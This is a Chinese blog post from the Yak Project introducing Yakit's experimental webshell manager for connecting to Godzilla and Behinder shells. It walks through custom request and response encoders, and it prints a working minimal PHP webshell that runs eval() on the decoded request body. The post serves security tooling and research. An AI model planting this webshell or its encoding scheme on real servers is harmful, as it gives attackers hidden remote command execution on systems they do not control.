ALL-IN-ONE 拼图补全计划之:Webshell 管理
2024-1-19 17:34:7 Author: Yak Project(查看原文) 阅读量:26 收藏

前言

在 Yaklang v1.3.0 版本中,我们更新了一个试验性功能——网站管理,方便各位管理员们管理"自己"的站点。

在管理不是自己的网站前,需要先获取合法的授权

支持种类

冰蝎、哥斯拉、蚁剑是目前市面上比较流行的三款Webshell 管理工具,在此先向前辈们致敬。

目前 Yakit 中的网站管理支持管理冰蝎4、哥斯拉类型的 shell,功能涵盖了存活探测、获取基础信息,命令执行,以及部分的文件管理;后续会加上常用的一些功能。

Yakit中的使用

哥斯拉

连接哥斯拉的shell 比较简单,直接点击试验性功能中的网站管理模块,在右上角点击添加网站,可以看见如下表单,填好对应的字段即可进行连接了。

获取基础信息

后续在 Yakit 中可能着重在通过哥斯拉加载插件实现更多的功能。

冰蝎3

冰蝎在 v4.0 版本推出了自定义协议通讯的方式,因此和冰蝎3 的连接方式有些许的不同,我们先以简单的冰蝎3为例,

可以发现有两栏编解码器的选择框,由于冰蝎3的 class payload 中默认了AES/XOR 的加解密的方式,因此,对于冰蝎3 的连接,我们无需对编解码器进行选择,只需要填写 URL、脚本类型、密钥后,点击添加即可。

随后可以右键选中刚才添加的 shell ,进行存活检测,发现连接成功

进入shell 查看基本信息

冰蝎4

在讲如何连接自定义协议的冰蝎4的shell 前,先来看看一个自定义了远程/本地加解密的冰蝎4 shell的连接过程,为了查看流量方便,我们使用 PHP 的shell 进行演示:

上面的流程图结合下面的流量数据包一起看,更容易理解

用最简单的话来说就是:

本地加密就是加密或者编码 Request 的请求包,这个被加密过的请求包 "aaaPayloadbbb" 需要远程解密函数去解密或者解码,拿到真正需要执行的 Payload.

远程加密就是写在 Payload 中的用于加密或者编码的一个函数,也就是上图中的下面的代码

function encrypt($data){    return strrev($data);}

由于远程加密函数加密的是返回的结果,也就是 Response 的 body,所以最终的结果,还需要本地解密函数进行处理。

也就是说是一种交叉的关系,在 Yakit 中没有使用 远程/本地 编解码器的概念,而是使用了 数据包/回显 编解码器的概念,数据包编解码器就是用于设置加解密 request body 和 response body 的,回显编解码器就是用于设置Payload 中的加解密函数部分。下面我们来用 Yakit 编写 数据包/回显编解码器,连接一个自定义的 shell。

数据包编码器 如下:

wsmPacketEncoder = func(raw) {    packet = "aaa" + string(raw) + "bbb"    return []byte(packet)}

数据包解码器需要写在 shell 中,也就是下面的 Decrypt 函数:

<?php function Decrypt($data){$data = substr($data, 3, strlen($data) - 6);return $data;}$post = Decrypt(file_get_contents("php://input"));eval($post);?>

预览如下:

回显编码器

wsmPayloadEncoder = func(reqBody) {    return `function encrypt($data){    return strrev($data);}`}

回显解码器

wsmPayloadDecoder = func(reqBody) {    return string(reqBody).Reverse()}

预览如下:

随后我们就可以在添加网站的表单处,选择我们刚才写好的 编解码器,此处的密钥可以随意填写了

随后就可以正常的使用了,我们特意添加一个代理,用于观察数据包情况

检测是否存活的数据包

获取基础信息的数据包

总结一下就是,在 Yakit 中 数据包编解码器就是用于编解码/加解密 Http 数据包的,回显编解码器就是用于编解码/加解密回显内容的。

试验性功能

由于是试验性功能,后续会对网站管理模块功能进一步的完善,例如可能使用类似 yaml profile 的方式。以及导出为yaklang 的一个库,供大家在代码中也可以方便的进行管理。大家有什么好的想法,也欢迎沟通。

最后

本文避重就轻的只是介绍了如何连接相关的shell,其实冰蝎、哥斯拉服务端的一些实现更加值得学习,后续有机会的话也另开篇幅讲讲,大家也可以通过它们的源码进行学习。

END

更新日志 

Yaklang  1.3.0-sp2

1. 新增/优化文档:xhtml cli tls http

2. 优化自动补全策略,增加一些对结构成员和接口成员的补全

3. Wsm:清除缓存并删除一些无用操作

4. CLI 参数返回值的渲染类型优化,新增 FileNames 的新参数

5. 优化静态分析的接口测试

6. 新增 behinder memshell 支持

7. 新增迁移项目基础目录的方法

8. 静态行为方法新增限制和上下文

9. 修复端口扫描中对 GM TLS 的不恰当处理

10. 优化 VM 中 Panic 的逻辑

11. 新增数据包变形方法

12. 新增插件对上下文的更细节控制,在上下文取消的时候,尽快停止插件执行

Yakit  1.2.9

1. Webfuzzer上线暂停继续功能

2. Webfuzzer批量发包列表增加Payload排序功能

3. History列表增加序号排序功能

4. 修复未连接引擎无法关闭Yakit的问题

5. 修复端口扫描插件列表抖动问题

6. 优化Webfuzzer批量发包列表展示新数据的逻辑

  YAK官方资源 

Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ

长按识别添加工作人员
开启Yakit进阶之旅


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&mid=2247519197&idx=1&sn=5b620d9e83e80c82b794ec25e22af8b1&chksm=c36692a2b9ba69d3f3a09e78b835ecae30d36045c93590d29e4826b5f919849339a55a83dafe&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh